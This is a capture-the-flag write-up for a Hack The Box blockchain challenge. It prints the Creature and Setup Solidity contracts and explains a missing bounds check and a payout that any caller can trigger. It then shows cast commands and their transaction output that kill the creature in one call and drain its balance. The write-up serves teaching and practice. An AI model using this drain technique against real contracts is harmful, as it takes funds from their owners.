Survival of the Fittest - Blockchain
Challenge Overview
This is a blockchain challenge. Visiting the challenge page presents a small pixel-art game where our character faces two monsters, with “Restart” and “Attack” buttons at the bottom.

Clicking “Attack” just triggers a cosmetic “Attack dodged!!” banner on the frontend; it doesn’t interact with the blockchain at all.

The real target is the connection panel, which provides a private key, our wallet address, a target address, and a setup address. These correspond to the smart contracts backing the challenge.

To interact with the chain, we use the RPC URL exposed at the /rpc route.
Smart Contracts
The challenge provides two contracts. Setup.sol defines the win condition:
// Setup.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Creature} from "./Creature.sol";
contract Setup {
Creature public immutable TARGET;
constructor() payable {
require(msg.value == 1 ether);
TARGET = new Creature{value: 10}();
}
function isSolved() public view returns (bool) {
return address(TARGET).balance == 0;
}
}
The setup deploys a Creature contract funded with 10 wei, and the challenge is considered solved once that balance reaches 0. In other words, our goal is to drain the Creature contract entirely.
Creature.sol is where the actual game logic lives:
// Creature.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
contract Creature {
uint256 public lifePoints;
address public aggro;
constructor() payable {
lifePoints = 20;
}
function strongAttack(uint256 _damage) external{
_dealDamage(_damage);
}
function punch() external {
_dealDamage(1);
}
function loot() external {
require(lifePoints == 0, "Creature is still alive!");
payable(msg.sender).transfer(address(this).balance);
}
function _dealDamage(uint256 _damage) internal {
aggro = msg.sender;
lifePoints -= _damage;
}
}
The creature starts with lifePoints set to 20. There are two ways to damage it:
punch(), which always deals exactly 1 damage.strongAttack(uint256 _damage), which lets the caller pick an arbitrary amount of damage to deal, with no upper bound and no access control. Both call the internal_dealDamagefunction, which setsaggroto whoever called it and subtracts the damage fromlifePoints.aggrois purely cosmetic bookkeeping (presumably meant to track “who’s currently fighting the creature” for the frontend); it plays no role in access control anywhere in the contract.
loot() requires lifePoints to be exactly 0, then sends the contract’s entire balance to whoever calls it. Critically, it doesn’t check that the caller is the same address that landed the killing blow, so once the creature is dead, anyone can loot it.
Since strongAttack accepts any _damage value chosen by the caller, we don’t need to grind out 20 individual punches. We can kill the creature in a single transaction by calling strongAttack(20). Note that because this contract is compiled with Solidity 0.8.13, arithmetic operations have built-in overflow and underflow checks, so passing a damage value greater than the current lifePoints would cause the subtraction inside _dealDamage to revert. Using exactly 20 avoids that and brings lifePoints to precisely 0.
Exploitation
To interact with the contracts we use cast, part of the Foundry toolkit. cast is a command-line tool for making arbitrary Ethereum RPC calls: cast call performs a read-only call against a contract, while cast send broadcasts a signed transaction.
If we try to call loot() before killing the creature, the transaction reverts with the require check we saw in the source:
cast send $TARGET_ADDRESS "loot()" --rpc-url "http://154.57.164.83:32310/rpc" --private-key $PRIVATE_KEY
Error: Failed to estimate gas: server returned an error response: error code 3: execution reverted: revert: Creature is still alive!, data: "0x08c379a0000000...0": Error("Creature is still alive!")
So we first attack the creature using strongAttack, dealing exactly 20 damage to bring lifePoints to 0:
cast send $TARGET_ADDRESS "strongAttack(uint256)" 20 --rpc-url "http://154.57.164.83:32310/rpc" --private-key $PRIVATE_KEY
The transaction succeeds:
blockHash 0xa5e93284673dc4b8e057cc31c02d24d0b48f157a10b3920c3d89615edacc8d49
blockNumber 2
status 1 (success)
transactionHash 0xd025f98250a2c45dedecb06620db1134a3b759e76e62875aa4a0e11c61dd4cb2
to 0x17ab359EE6717046b53DA73e17163fa9F97Dd84A
With lifePoints now at 0, we call loot() to drain the creature’s balance:
cast send $TARGET_ADDRESS "loot()" --rpc-url "http://154.57.164.83:32310/rpc" --private-key $PRIVATE_KEY
This also succeeds:
blockHash 0xe03a38bc924c5d282cceb0a938aa7a85421d6564b6b10545200db1583b4f272f
blockNumber 3
status 1 (success)
transactionHash 0x61cdf2c039c9191e5c6382635157e26542ec9c6a9b55a0aa4616a22a631c8245
to 0x17ab359EE6717046b53DA73e17163fa9F97Dd84A
We can confirm the challenge is now solved by calling isSolved() on the setup contract, which checks whether the creature’s balance is 0:
cast call $SETUP_ADDRESS "isSolved()(bool)" --rpc-url "http://154.57.164.83:32310/rpc"
true
Finally, we retrieve the flag from http://154.57.164.83:32310/flag:
HTB{g0t_y0u2_********
written by bara